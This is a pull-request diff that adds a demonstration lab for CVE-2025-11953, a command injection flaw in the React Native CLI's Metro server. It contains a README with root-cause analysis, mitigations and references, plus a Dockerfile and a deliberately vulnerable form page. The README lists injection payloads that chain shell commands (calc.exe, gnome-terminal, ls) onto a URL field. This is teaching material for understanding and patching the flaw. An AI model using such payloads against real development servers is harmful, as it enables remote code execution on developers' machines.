Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
20 changes: 20 additions & 0 deletions CVE-2025-11953/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
# Use official Node.js LTS base image
FROM node:18-alpine

# Set working directory
WORKDIR /app

# Copy package.json and package-lock.json if available (skip if not used)
COPY package.json package-lock.json* ./

# Install express
RUN npm install express

# Copy all files (server.js, index.html, etc.)
COPY . .

# Expose port 3000
EXPOSE 3000

# Start the server
CMD ["node", "server.js"]
137 changes: 137 additions & 0 deletions CVE-2025-11953/Readme.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,137 @@
# CVE-2025-11953: Command Injection in React Native CLI

---

## Overview

A **critical command injection vulnerability** was discovered in the `@react-native-community/cli-server-api` package, affecting the Metro development server used in React Native projects. The server exposes an HTTP POST endpoint at `/open-url` which is intended to open URLs for the developer.

The vulnerability stems from the server directly using user-provided input from the `url` parameter in a system shell command without proper sanitization or validation. Because the Metro server binds to all network interfaces (`0.0.0.0`) by default, it allows unauthenticated attackers on the same network to execute arbitrary commands on the developer's machine, leading to Remote Code Execution (RCE).

- **Severity:** Critical (CVSS 9.8)
- **Impact:** Remote Code Execution (RCE)
- **Attack Vector:** Network (no authentication required)
- **Discovered by:** JFrog Security Research Team
- **Affected Versions:** `>= 4.8.0` and `< 20.0.0`
- **Fixed in:** Version `20.0.0` and above

---

## Affected Software

| Package Name | Vulnerable Version Range | Patched Version |
| :--- | :--- | :--- |
| `@react-native-community/cli-server-api` | `>= 4.8.0` and `< 20.0.0` | `20.0.0` and higher |

This primarily impacts developers running a vulnerable version of the Metro development server during the application development lifecycle.

---

## Root Cause Analysis

The core of the vulnerability is the improper handling of user-supplied data within the `/open-url` endpoint. The server code takes the `url` value from a POST request and directly concatenates it into a shell command executed by Node.js's `child_process.exec`.

---

**Vulnerable Code Snippet (Simplified):**
```
const { exec } = require('child_process');

// The server receives a request with a 'url' in the body.
const url = req.body.url;

// The 'url' is directly passed into the exec function without sanitization.
// This is the command injection flaw.
exec(start ${url}, (error, stdout, stderr) => {
// ... handles command output
});
```
An attacker can exploit this by sending a `url` string that contains shell operators like `&&` or `||`. The operating system's shell will execute the command that follows the operator.

---

## Proof of Concept (PoC) Demonstration

This repository contains a minimal web application to demonstrate the vulnerability in a safe, controlled environment.

* `server.js`: An Express server that simulates the vulnerable Metro server. It has a `/open-url` endpoint that contains the command injection flaw.
* `index.html`: A user-facing web form that allows a user to submit data, including a "Profile Link". This field is intentionally vulnerable and is passed to the server's vulnerable endpoint.
---

### How the Demo Exploits the Vulnerability

1. The user fills out the form in `index.html`.
2. In the "Profile Link" field, the user enters a malicious payload.
3. Upon submission, the form's JavaScript sends only the "Profile Link" content to the `/open-url` endpoint on the `server.js`.
4. The server executes the `exec(\`start ${profile_link_payload}\`)` command.
5. The OS shell processes the command, including any injected malicious commands.

---

## Installation and Usage Guide

### Requirements
* Node.js and npm

### Setup
1. Save the `server.js` and `index.html` files into a new directory.
2. Open a terminal in that directory and install the required dependency:
```
npm install
```
3. Start the vulnerable demo server:
```
node server.js
```
You should see the message: `Vulnerable server running on http://localhost:3000`

### Running the Exploit
1. Open your web browser and navigate to:
```
http://localhost:3000
```
2. You will see a profile submission form. Fill in the "Name" and "Stream" fields with any text.
3. In the **"Profile Link"** field, enter the malicious payload.

**Example Payloads (for Windows):**

* To open the Calculator:
```
https://github.com/example && calc.exe
```
* To open Command Prompt:
```
cmd.exe
```
**Example Payloads (for Linux):**

* To open a terminal (gnome-terminal on many distros):
```
https://github.com/example; gnome-terminal
```
* To list directory contents:
```
https://github.com/example; ls -la
```

4. Click the "Submit Form" button.
5. If successful, the injected application (e.g., Calculator) will open on the machine running the server, confirming the RCE vulnerability. The server's response will be displayed in the black output box on the webpage.

---

## Mitigation and Remediation

* **Update Dependencies:** The primary fix is to upgrade the `@react-native-community/cli-server-api` package to version **20.0.0** or newer.
```
npm update @react-native-community/cli-server-api
```
* **Restrict Host Binding:** Configure the Metro server to only listen on `localhost` (`127.0.0.1`) instead of the default `0.0.0.0`. This prevents external network access.
* **Use Secure Coding Practices:** Never trust user input. Always sanitize and validate data before using it in system commands, database queries, or other sensitive operations.

---

## 7. References

* **JFrog Blog:** [https://jfrog.com/blog/cve-2025-11953-critical-react-native-community-cli-vulnerability/]
* **Snyk Advisory:** [https://security.snyk.io/vuln/SNYK-JS-REACTNATIVECOMMUNITYCLISERVERAPI-13836141]
* **Public PoC:** [https://github.com/SaidBenaissa/cve-2025-11953-vulnerability-demo]
Binary file added CVE-2025-11953/demo.mp4
Binary file not shown.
134 changes: 134 additions & 0 deletions CVE-2025-11953/index.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,134 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>Profile Link Submission Form</title>
<style>
body {
font-family: Arial, sans-serif;
background: #f0f2f5;
margin: 0;
padding: 2rem;
display: flex;
flex-direction: column;
align-items: center;
min-height: 100vh;
color: #333;
}
h1 {
color: #0073b1;
margin-bottom: 0.2rem;
}
p.subtitle {
margin-top: 0;
margin-bottom: 2rem;
font-size: 1.1rem;
color: #555;
}
form {
background: white;
padding: 1.5rem 2rem;
border-radius: 8px;
box-shadow: 0 2px 8px rgba(0,0,0,0.1);
width: 100%;
max-width: 480px;
}
label {
display: block;
font-weight: bold;
margin-bottom: 0.6rem;
margin-top: 1rem;
}
input[type="text"] {
width: 100%;
padding: 0.6rem;
margin-bottom: 0.2rem;
border: 1px solid #ccc;
border-radius: 4px;
font-size: 1rem;
box-sizing: border-box;
}
button {
margin-top: 1.5rem;
background-color: #0073b1;
color: white;
font-size: 1rem;
padding: 0.7rem 1.2rem;
border: none;
border-radius: 4px;
cursor: pointer;
width: 100%;
}
button:hover {
background-color: #005f87;
}
pre#output {
margin-top: 2rem;
background: #222;
color: #d4d4d4;
padding: 1rem;
border-radius: 8px;
width: 100%;
max-width: 480px;
min-height: 120px;
overflow-x: auto;
white-space: pre-wrap;
word-wrap: break-word;
font-family: Consolas, monospace;
visibility: visible;
}
</style>
</head>
<body>
<h1>Profile Submission Form with Vulnerable Link</h1>
<p class="subtitle">Fill the form and submit to test command injection vulnerability.</p>

<form id="exploitForm">
<label for="nameInput">Your Name:</label>
<input type="text" id="nameInput" name="name" placeholder="Your name" required />

<label for="streamInput">Your Roll No.:</label>
<input type="text" id="streamInput" name="stream" placeholder="Your roll no." required />

<label for="streamInput">Your Stream:</label>
<input type="text" id="streamInput" name="stream" placeholder="Your stream" required />

<label for="streamInput">Your College:</label>
<input type="text" id="streamInput" name="stream" placeholder="Your college" required />

<label for="urlInput">Your Profile Link:</label>
<input type="text" id="urlInput" name="url"
placeholder="e.g., https://github.com/username or calc.exe"
value="https://github.com/example" required />

<button type="submit">Submit Form</button>
</form>

<pre id="output">Output will appear here...</pre>

<script>
const form = document.getElementById('exploitForm');
const output = document.getElementById('output');

form.addEventListener('submit', async (e) => {
e.preventDefault();

const url = document.getElementById('urlInput').value;
output.textContent = 'Executing command...';

try {
const response = await fetch('/open-url', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ url })
});
const text = await response.text();
output.textContent = text;
} catch (err) {
output.textContent = "Error connecting to server.";
}
});
</script>
</body>
</html>
Loading